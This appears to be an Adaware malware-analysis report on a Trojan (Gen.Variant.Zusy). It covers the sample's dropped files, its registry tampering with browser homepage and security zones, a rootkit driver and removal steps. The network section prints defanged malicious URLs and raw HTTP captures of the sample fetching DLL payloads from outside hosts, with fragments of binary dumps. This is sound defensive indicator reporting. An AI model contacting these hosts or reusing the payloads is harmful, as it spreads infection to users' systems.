Gen.Variant.Zusy.189562_8fa230d895 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:1676

The Trojan injects its code into the following process(es):

AIKCJr.exe:1224

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process AIKCJr.exe:1224 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\style[1].css (1615 bytes)
%WinDir%\dxuqPtw.dll (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Favorites\Links\Windows Marketplace.url (262 bytes)
%WinDir%\tSaYSReT\nTmGlHW.dll (144 bytes)
%WinDir%\CLOG.txt (5439 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\175sf[1].htm (3444 bytes)
%WinDir%\tSaYSReT\XKhGMY.dll (12973 bytes)
%System%\cd893\CDClient_EX.sys (125 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\jscript_jquery-1.4.2.min[1].js (5083 bytes)
%WinDir%\tSaYSReT\tYVsYdGd.tmp (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%WinDir%\tSaYSReT\498E9.dat (14 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (865 bytes)

The Trojan deletes the following file(s):

%WinDir%\dxuqPtw.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\desktop.ini (0 bytes)
%WinDir%\tSaYSReT\nTmGlHW.dll (0 bytes)
%System%\cd893\CDClient_EX.sys (0 bytes)
%WinDir%\tSaYSReT\tYVsYdGd.tmp (0 bytes)
%WinDir%\tSaYSReT\498E9.dat (0 bytes)

The process %original file name%.exe:1676 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\CywGCv\AIKCJr.exe (7593 bytes)
%WinDir%\CLOG.txt (43 bytes)
%WinDir%\vSRfNk.dll (11 bytes)

The Trojan deletes the following file(s):

%WinDir%\vSRfNk.dll (0 bytes)

Registry activity

The process AIKCJr.exe:1224 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\System\CurrentControlSet\Services\sW8IErEU6Pd]
"ErrorControl" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Services\sW8IErEU6Pd]
"ImagePath" = "\DosDevices\%System%\cd893\CDClient_EX.sys"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command]
"(Default)" = "%Program Files%\Internet Explorer\IEXPLORE.EXE https://www.hao123.com/?tn=90131381_hao_pg"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Enable Browser Extensions" = "no"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Local Page" = "https://www.hao123.com/?tn=90131381_hao_pg"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKLM\System\CurrentControlSet\Services\sW8IErEU6Pd]
"Type" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9B E9 E2 86 65 AE 04 39 16 F1 5C 8C 14 CF F4 BA"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "https://www.hao123.com/?tn=90131381_hao_pg"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\System\CurrentControlSet\Services\sW8IErEU6Pd]
"Devname" = "sW8IErEU6Pd"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Favorites" = "%Documents and Settings%\%current user%\Favorites"
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

Automatic startup of the following service is disabled:

[HKLM\System\CurrentControlSet\Services\sW8IErEU6Pd]
"Start" = "3"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan deletes the following registry key(s):

[HKCU\Software\Microsoft\Internet Explorer\TypedURLs]
[HKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions]
[HKLM\SOFTWARE\Microsoft\Internet Explorer\Search]
[HKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{FB5F1910-F110-11d2-BB9E-00C04F795683}]
[HKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{e2e2dd38-d088-4134-82b7-f2ba38496583}]

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:1676 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "47 FA FC 91 63 3E 8D 9B 8C 19 31 0A 05 C1 9B 78"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

Dropped PE files

MD5	File path
851c4bdb8521ae1c1392bf277c177e6f	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Application Data\CywGCv\AIKCJr.exe
68a6734e9ed12163481ede18bfdd9b7b	c:\WINDOWS\tSaYSReT\XKhGMY.dll
158b710a2ce07e3a34e46118f2ad39f2	c:\WINDOWS\tSaYSReT\nTmGlHW.dll

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "\DosDevices\%System%\cd893\iEwx6T7VPp9.sys" the Trojan controls creation and closing of processes by installing the process notifier.

Using the driver "\DosDevices\%System%\cd893\iEwx6T7VPp9.sys" the Trojan controls loading executable images into a memory by installing the Load image notifier.

Using the driver "\DosDevices\%System%\cd893\iEwx6T7VPp9.sys" the Trojan controls operations with a system registry by installing the registry notifier.

The Trojan installs the following kernel-mode hooks:

ZwTerminateProcess

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:1676
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\style[1].css (1615 bytes)
%WinDir%\dxuqPtw.dll (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Favorites\Links\Windows Marketplace.url (262 bytes)
%WinDir%\tSaYSReT\nTmGlHW.dll (144 bytes)
%WinDir%\CLOG.txt (5439 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\175sf[1].htm (3444 bytes)
%WinDir%\tSaYSReT\XKhGMY.dll (12973 bytes)
%System%\cd893\CDClient_EX.sys (125 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\jscript_jquery-1.4.2.min[1].js (5083 bytes)
%WinDir%\tSaYSReT\tYVsYdGd.tmp (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%WinDir%\tSaYSReT\498E9.dat (14 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (865 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\CywGCv\AIKCJr.exe (7593 bytes)
%WinDir%\vSRfNk.dll (11 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
CODE	4096	1212416	964096	5.545	187fd9571eb9bb230014409ae9670775
.rsrc	1216512	12288	9728	4.4235	4b0b635d634099e025f78b82d6d7af84

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://www.58sky.com/index/getcfg?id=1	119.97.143.27
hxxp://5636.ecoma.ourwebpic.com/d2/CDClient.dll
hxxp://5636.ecoma.ourwebpic.com/d2/x86.dll
hxxp://5636.ecoma.ourwebpic.com/ips1388.asp
hxxp://so.qh-lb.com/
hxxp://175.haodns123.cc/
hxxp://so.seos-lb.com/
hxxp://175.haodns123.cc/js/jscript_jquery-1.4.2.min.js
hxxp://175.haodns123.cc/css/style.css
hxxp://ip.catr.cn/	59.108.230.35
hxxp://www.haosou.com/	125.88.193.243
hxxp://www.ip138.com/ips1388.asp	87.245.198.83
hxxp://www.175sf.com/js/jscript_jquery-1.4.2.min.js	14.29.32.98
hxxp://www.go890.com/d2/CDClient.dll	87.245.198.83
hxxp://www.175sf.com/css/style.css	14.29.32.98
hxxp://www.go890.com/d2/x86.dll	87.245.198.83
hxxp://www.175sf.com/	14.29.32.98
www.so.com	106.120.160.134

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /d2/CDClient.dll HTTP/1.1

Host: VVV.go890.com

Accept: text/html, */*

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Date: Sat, 08 Oct 2016 03:59:38 GMT

Server: kangle/2.9.6

Last-Modified: Sat, 08 Oct 2016 03:15:18 GMT

Content-Type: application/octet-stream

Content-Length: 838656

Age: 1

X-Via: 1.1 db78:1 (Cdn Cache Server V2.0)

Connection: keep-alive

DUP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................p....................@.............................................................................P...................................................................................................................CODE....................PEC2^O...... ....rsrc....0.......&.................. ....reloc..............................@....................................................................................................................................................................................................................................................................................................................................................................................................................[..b.. .........c....X.........b..._.....J>b.d.I.....i5.R......-.X.,So.....Wp.eAbk......7i.....8x......j...o$.f....e.Xa...V....b.C.n...9H..TC.J-......].L .b|C.*{?..@...a..w..Q.s...."..\...3KO.w.....V.....^.#b.l......<.q.C<.......].6..t..E..s.oT.f0...vn.=.l.D.....6\@..Cg.B.._.I5O.......K...}..I...Gi..A>.L..j3..{..=.....Q.fG.{...?.A.G.q...Q............9..\..R.......O.....X}k..4.W._C."P..y...WZ1..........-...M _2..y....."... 71..d......y.l.B.[".x..x..u.....3[.....L...*.g.......!..-...i.-..$.b3._@D

<<< skipped >>>

GET / HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.haosou.com

Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently

Server: openresty

Date: Sat, 08 Oct 2016 09:18:46 GMT

Content-Type: text/html

Content-Length: 178

Connection: keep-alive

Location: hXXp://VVV.so.com/

<html>..<head><title>301 Moved Permanently</title></head>..<body bgcolor="white">..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>....

GET /index/getcfg?id=1 HTTP/1.1

Host: VVV.58sky.com

Accept: text/html, */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: nginx/1.4.4

Date: Sat, 08 Oct 2016 09:18:37 GMT

Content-Type: text/html;charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.5.27

Set-Cookie: PHPSESSID=t7v44p8h5hs6qa6gj3cb3s4ea2; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Encoding: gzip

1000a..............i....&.W.PD....}L......Y[3.Z3>..P.>..$......>Yg&...w.....B........*......W..*o...d.W..__..(..........>..e....v............v.=.......W...Wq.]..J.$M.Vh.....8..*.l...t....&...........1M>...~.....F......{e...s.N7..9......4E.......Z.../.O.e.o<.....Z.A..-.~z.?..M....v...m..p.\w........O......]..s.....7L..1\G.xc...~...d.B.7...|F.....uv....}.G.Ur........&c...U..@..~......w...(W.........1!..xM.....4..k..z.2?.....n....*..w...o..h........(................... ...u_...c..^...cr. .W>7.}.NV.....F.>...fC}.....G...?.....N..l.UP.v.....=*.....Y.l.U.z.9...2..8q........7.......ek`.< ...~..}.B....?............X<....=...Mp.>.yM..3?.....w>]........<(.0._?.q;.g`..h..m.*I.{.....ic(..}.9..g....0....8~...{#.....`......{..v......m.d..{Q....N.....jz....{6#u.....gp.8......6..s-.j..........W..}....o....oIc....Eu.... .....z}....0.?..4..6....g.%....D..Z...{..A.3/..E.oh-?.m.'w.U....omK.3.]..`.....j.>.l.?.C...k?...n....wI..v..>..Ig[.....I..R..Q..".1............~|o...c.t].uE...'I...j.....;...P...o..Im3}..?..|.v.2../..&.&....}....m...A....N.....v...I%jvm....=I.{.D.......y.-.......:,......n.>.]T\.*.......m.....>.o.......p..]..~......I.S S...bo~.C...w..{p..0dS.C.(.....}..../.H..:.kW.M.....QR............hl.~L.5.v..?..#`g..._*fU....`.7?.v....s...?.wO..\4.........._.ew.i....em..r.%y`O.k.mVk?..m......i....x.a#.&.....~...m......W....\.u....R$j.?B.0..ZB(._..n.3..5-.y..W.....d?}.C.o....T~...LN.ca.....m}.......h....M;9...4.5....O.s.c...........R........$..l...A.X...y.........Jj.../....i.of

<<< skipped >>>

GET / HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.175sf.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 08 Oct 2016 09:18:24 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Content-Location: hXXp://VVV.175sf.com/index.html

Last-Modified: Sat, 08 Oct 2016 00:53:37 GMT

Content-Encoding: gzip

3063.............}.sZW.......h.M..\... ...G......N.{..........<......j......g..$lG.......!../...!;n...9.....[ql..u.GB6G.}.....a..g..^....k.....}...../g~).....g~..?.~_..-..g..".... ./.....$..b..f.....MF.A$.....t.Z..o.Dccc.1..d..}..h...A...nkMI....:.... k..1.-'.<.S.TTq..:......j...[w..?w..}...3Z.?...u.4...]V..U....h..f..zr.O".$]..<....t..........ew9........ ........n..fn.....Ef}/....)d.~....."..4".zDw.....1.Yk..._C.......h..Q...%.Q.iL#..>7..2a.K.......X..>..gw7s.(@t}35..j..y....t"..x........<....vV.k3S..a...Z[7!>].9.Y...._..[..3......2\-m.....f].....b.Y.....x.%..r...|o..Nv..[.u:k...}...g>.X....C...dO..........G(.....!........./O..Q.h.4a.Z.."=...~...;.o3j.s....?..@ ..c]..||.q..c....O.'.S.XQ....>.v.>.Yw...|....h......B...iT0<<..B x..a...>...F....VB|K5.V8...:.5il#...cf...lF...Q..7......k..h5..7..$>...W...#..f..VvQ....I.......]..Y.......S.5."...../,D....S.%2.......X...<.xK...G.j...f6.|.x.Lg.....}t..........5...&..B .q...*...:(....cF..........r1....~..vR.#..y..;'D{|a.j).........$....Fm...4.T...,...b......}..q.:j..~..`.#......[?...YDDe.}jb|.....5..W._.lx(.~.lF......>.c....xm....Zk.*.:..)]).)(.}m.......)...>LH.......N.....X..cC..\...2<.....G9?.....te%....w.V......P.#..D..|>.......pF..0.E..O...hq.....UiU..0....W......7i<[_=._..&.......d..P.:3.YU....l..9.....JMN..s...>@j&~..Ao.....`....>.N0..Z.Ova......6..|..x.....Q.Fo..{?..j....0..i..=.Su...wl.......J.3Z..Hc.i.G.Brq.B...n...]...n...Q_..K..z........U.d...........Y.....b.^..^.....*....7$.b....3....:.......

<<< skipped >>>

GET /js/jscript_jquery-1.4.2.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.175sf.com/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.175sf.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 08 Oct 2016 09:18:25 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Last-Modified: Tue, 19 Jul 2011 02:14:30 GMT

Content-Encoding: gzip

607f.................F.(._...XhO...H...g.(.Wk[=..v...(_..Ip..$k..y...>..._,..L.,.{....$r...2"...................o.-....E.\7...".........i.^/.v{r.y[.|..d..2_...h.n<..wD.o.x..)]e#..j....l..Vi..,..h..i......h........*....*..U.h^....n..b0.$..q.}.4K[..YpE.....A_?@G^....&..Ek....)...A.E... ....u.{..<.h....h.x....o.O...|.....\....N.3Bg..f1..........<r.m6tO..l.S.%..v].oW.$.l..b.z.....r...........h=....]....<.7kw..s/(...X.... t..^.....D.m....t..h....M1.)ED.....F.U*`......wV.(......,.....h...uz.....e.XCG.5[,.............2*...y....o..y~...g.......a7E"."..o{...,.Z.t1Z....5t,.6.0..<......0/\..7.E#...\...O.$jf...jHN..."<....OOq...U..XY.v.."..f.K..k...........B}.<?............`......`.9..Ho.....W.5&.w..A S~..........O..M....V....Z.....@.vQ.\..].\..#.,.KH.{0....(F.. 1...}*....p.Bhq..l%..}.......e7...H.X,....d..>.vQ ......4.....`.O......l.}..\..B..vx...X.....)..6.7.i?...d#.f...,.B...&4.mv...f5v...p.`....i..T......~..`0k..t...........5......S...`................t.Nz........6.. ...a...fX"k-.....y.Y....pv../..nR...`.t.@.|...h....q...a..^.......`.z.O.l....zR..v.&...2]..G........ ]'..i.......[!....).2m..z......{.?c.?.%~.O....t#.M.....FM....;.X.R.......8^.......S..U........@d.B...f\...p..e... n..&;n....M^...F..~..X. ...C..:..:.j...f....7...6.0..8d.......N.... ._..>P(x.(x....^{....O.$..D`z/.._j.`io..J.3.4R. .c.&..]...o....T..... ..".8....p :.=.Z..b...@......O.f..:==Y...M....Sw.Zm...X...t0}9...v'.3.Ln...q2.*....F.9{...a2..9....v....5..\.j.od)....=.hA.0Dd..R...p......o.G.(..'i..R?5...Lp...0<......b......

<<< skipped >>>

GET /d2/x86.dll HTTP/1.1

Host: VVV.go890.com

Accept: text/html, */*

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Date: Sat, 08 Oct 2016 03:59:55 GMT

Server: kangle/2.9.6

Last-Modified: Wed, 21 Sep 2016 07:08:16 GMT

Content-Type: application/octet-stream

Content-Length: 132608

Age: 1

X-Via: 1.1 db78:1 (Cdn Cache Server V2.0)

Connection: keep-alive

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........2*..\y..\y..\y...y..\y...y..\y...y..\y...y..\y..]y..\y...y..\y...y..\y...y..\y...y..\yRich..\y........................PE..L...]..W...........!......................................................................@.................................................................|...........................................H...........................................UPX0....................................UPX1................................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................................................3.91.UPX!...........c.........B..&.......U..j.h..!P..Y.d...P...SV....W..0.1E.3.P.E...e.3o.....u.(0.E......x...........;.....f.y,.su.A0....nt......Nuf.P..tTuY....,dDuL.lLl.$.u?.2.x..u,,...l..........<......<...q........L....o.d....E.......M........Y_^[..]........p.....Y..MZ.9.t.j2.o..J.<...8PE.u..........2..E...d.V....?X..u..I.N..t0.....:.u.A.M.B.U...w......... ...)d.B....?...v.....d$...........u.i ..B..r!C.3...0}..@..}.....8.9........&..t..C<.D.x...3<...;.u.|.H.^...e{ .......@$<.......V.L..3.m.;}.sZ....F&......U.;.....u0Q.U.M

<<< skipped >>>

GET /ips1388.asp HTTP/1.1

Host: VVV.ip138.com

Accept: text/html, */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

HTTP/1.1 200 OK

Date: Sat, 08 Oct 2016 09:18:47 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Content-Length: 9759

Content-Type: text/html

Set-Cookie: ASPSESSIONIDCCTCBARB=KHIPNFMAOHPMDGLMDOAPDEDL; path=/

Cache-Control: private

X-Via: 1.1 db78:8 (Cdn Cache Server V2.0)

Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">..<HTML>..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=gb2312">..<meta http-equiv="mobile-agent" content="format=html5; url=hXXp://m.ip138.com/ip.html"/>..<TITLE>IP........--.................. | ............ | ............ | ........................</TITLE>..<META NAME="Generator" CONTENT="ip,IP....,IP........,ip138,........">..<META NAME="Author" CONTENT="ip138,........">..<META NAME="Keywords" CONTENT="ip,IP....,IP........,ip138,........">..<META NAME="Description" CONTENT="ip,IP....,IP........,ip138,........">..<SCRIPT LANGUAGE="JavaScript">..<!--..function checkIP()..{...var ipArray,ip,j;...ip = document.ipform.ip.value;...if (ip.indexOf(" ")>=0){....ip = ip.replace(/ /g,"");....document.ipform.ip.value = ip;...}...if (ip.toLowerCase().indexOf("hXXp://")==0){....ip = ip.slice(7);....document.ipform.ip.value = ip;...}...if (ip.toLowerCase().indexOf("hXXps://")==0){....ip = ip.slice(8);....document.ipform.ip.value = ip;...}...if (ip.slice(ip.length-1)=="/"){....ip = ip.slice(0,ip.length-1);....document.ipform.ip.value = ip;...}...if(/[A-Za-z_-]/.test(ip)){....if(!/^([\w-] \.) ((ac)|(ad)|(ae)|(af)|(ag)|(ai)|(..

<<< skipped >>>

GET /css/style.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.175sf.com/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.175sf.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 08 Oct 2016 09:18:25 GMT

Content-Type: text/css

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Last-Modified: Thu, 23 Jun 2016 10:01:38 GMT

Content-Encoding: gzip

